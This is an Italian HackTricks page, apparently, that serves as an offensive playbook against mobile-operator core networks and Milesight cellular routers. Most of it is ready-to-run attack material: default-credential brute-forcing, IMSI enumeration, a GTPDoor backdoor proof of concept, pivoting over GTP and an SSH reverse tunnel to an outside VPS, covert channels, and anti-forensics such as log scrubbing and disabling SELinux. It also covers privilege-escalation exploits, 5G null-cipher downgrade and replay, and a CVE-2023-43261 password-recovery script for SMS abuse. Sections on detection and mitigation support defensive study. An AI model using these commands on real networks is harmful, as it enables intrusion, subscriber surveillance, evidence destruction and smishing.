Sfruttamento delle reti telecom (GTP / ambienti di roaming)
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
note
I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, qualsiasi foothold all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
1. Ricognizione e Accesso Iniziale
1.1 Account OSS / NE di default
Un numero sorprendentemente elevato di vendor elementi di rete viene fornito con utenti SSH/Telnet hard-coded come root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Se il dispositivo espone solo una management VRF, esegui prima un pivot tramite un jump host (vedi la sezione «SGSN Emu Tunnel» qui sotto).
1.2 Scoperta degli host all'interno di GRX/IPX
La maggior parte degli operatori GRX permette ancora ICMP echo attraverso il backbone. Combina masscan
con le sonde UDP integrate gtpv1
per mappare rapidamente i listener GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerazione degli abbonati – cordscan
Lo strumento Go seguente crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, talvolta, il PLMN visitato dell'abbonato.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Flag principali:
--imsi
IMSI dell'abbonato target--oper
Home / HNI (MCC+MNC)-w
Scrive pacchetti raw in pcap
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Esecuzione di codice su GTP – GTPDoor
GTPDoor
è un piccolo servizio ELF che si lega alla porta UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c
. Lo stdout/stderr vengono esfiltrati all'interno dei messaggi Echo Response in modo che non venga mai creata una sessione in uscita.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Rilevamento:
- qualsiasi host che invia unbalanced Echo Requests agli IP di SGSN
- GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica
4. Pivoting attraverso il Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
include un emulatore SGSN in grado di stabilire un PDP context verso un reale GGSN/PGW. Una volta negoziato, Linux riceve una nuova interfaccia tun0
raggiungibile dal peer di roaming.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel data plane.
4.2 SSH Reverse Tunnel over Port 53
Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e rientrare più tardi da casa:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Verificare che GatewayPorts yes
sia abilitato sul VPS.
5. Canali Coverti
Canale | Trasporto | Decodifica | Note |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener puramente passivo, nessun traffico in uscita |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) codificato negli ottetti del record A | osserva il sottodominio *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo |
Tutti gli implants implementano watchdogs che timestomp i loro binari e si riavviano se vengono terminati.
6. Cheatsheet per l'Evasione delle Difese
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation su Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Suggerimento per la pulizia:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lightweight SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security permette diversi vettori d'attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all'interno del core, rogue gNB, o testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Aspettativa: UE/USIM devono trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
Come testare:
- Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE.
- Controlli rapidi in Wireshark:
- Dovrebbe decodificare come SUCI, non IMSI.
- Esempi di filtro:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
dovrebbe esistere; l'assenza insieme alla presenza diimsi
indica leakage.
Cosa raccogliere:
- MCC/MNC/MSIN se esposti; loggare per-UE e tracciare nel tempo/luoghi.
Mitigazione:
- Forzare UEs/USIMs a usare solo SUCI; alert su qualsiasi IMSI/SUPI nella initial NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- L'UE annuncia le EEA (encryption) e EIA (integrity) supportate nel UE Security Capability IE della Registration Request.
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null.
Problema:
- Poiché la Registration Request non è protetta in integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 più tardi durante Security Mode Command. Alcuni stack permettono erroneamente algoritmi null anche al di fuori dei servizi di emergenza.
Passi offensivi:
- Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
- Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo.
- Osserva se l'AMF accetta null ciphers/integrity e completa Security Mode con EEA0/EIA0.
Verifica/visibilità:
- In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigazioni (obbligatorie):
- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente richiesto (es. chiamate di emergenza).
- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi contesto di sicurezza NAS che negozia null algorithms.
9.3 Replay della initial Registration Request (NAS pre-security)
Poiché il NAS iniziale manca di integrità e freshness, InitialUEMessage+Registration Request catturati possono essere replayed all'AMF.
Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Cosa osservare:
- Whether AMF accepts the replay and proceeds to Authentication; la mancanza di validazione di freschezza/contesto indica esposizione.
Mitigazioni:
- Enforce replay protection/context binding sull'AMF; impostare rate-limit e correlare per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS.
- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registrazione.
- 5GReplay: catturare una registrazione, poi replay di specifici messaggi NGAP + NAS come da regola.
- Sni5Gect: sniff/modify/inject in tempo reale del control-plane NAS per costringere null algorithms o perturbare le sequenze di autenticazione.
9.5 Defensive checklist
- Ispezionare continuamente il Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIMs responsabili.
- Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
- Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi.
- Generare alert sulle modalità di sicurezza NAS che portano a null algorithms o a frequenti replay di InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
L'abuso delle web API esposte dei router cellulari industriali consente smishing stealthy, apparentemente di origine carrier, su larga scala. I router Milesight della serie UR espongono un endpoint in stile JSON-RPC in /cgi
. Se mal configurata, l'API può essere interrogata senza autenticazione per elencare inbox/outbox SMS e, in alcune implementazioni, per inviare SMS.
Richieste tipiche non autenticate (stessa struttura per inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Le risposte includono campi come timestamp
, content
, phone_number
(E.164) e status
(success
o failed
). Invii ripetuti con failed
allo stesso numero sono spesso controlli di capacità dell'attaccante (“capability checks”) per verificare che un router/SIM possa consegnare prima di invii massivi.
Esempio di curl per exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Note sugli artefatti di auth:
- Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a
query_inbox
/query_outbox
quando l'interfaccia di gestione è esposta su Internet. - In ambienti che richiedono auth, previously-leaked credentials (see below) ripristinano l'accesso.
Credential recovery path – CVE-2023-43261:
- Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: i log serviti via web (es.,
httpd.log
) sono raggiungibili senza autenticazione sotto/lang/log/
e contengono eventi di login admin con la password cifrata usando una chiave/IV AES hardcoded presente nel JavaScript client-side. - Accesso pratico e decifratura:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Script Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting e idee per il rilevamento (network):
- Allertare su richieste non autenticate
POST /cgi
il cui corpo JSON contienebase
/function
impostati suquery_inbox
oquery_outbox
. - Monitorare ripetute serie di
POST /cgi
seguite da vocistatus":"failed"
su molti numeri unici provenienti dallo stesso IP sorgente (capability testing). - Inventariare i router Milesight esposti su Internet; limitare la gestione via VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti.
Shodan/OSINT pivots (esempi osservati sul campo):
http.html:"rt_title"
corrisponde ai pannelli dei router Milesight.- Google dorking per log esposti:
"/lang/log/system" ext:log
.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
Idee per il rilevamento
- Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests.
- Porte non standard (53, 80, 443) che ricevono SSH handshakes da IP interni.
- Echo Requests frequenti senza corrispondenti Echo Responses – potrebbero indicare beacon GTPDoor.
- Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non nulli.
- 5G: InitialUEMessage che trasporta NAS Registration Requests ripetute dagli stessi endpoint (segnale di replay).
- 5G: NAS Security Mode che negozia EEA0/EIA0 al di fuori di contesti di emergenza.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.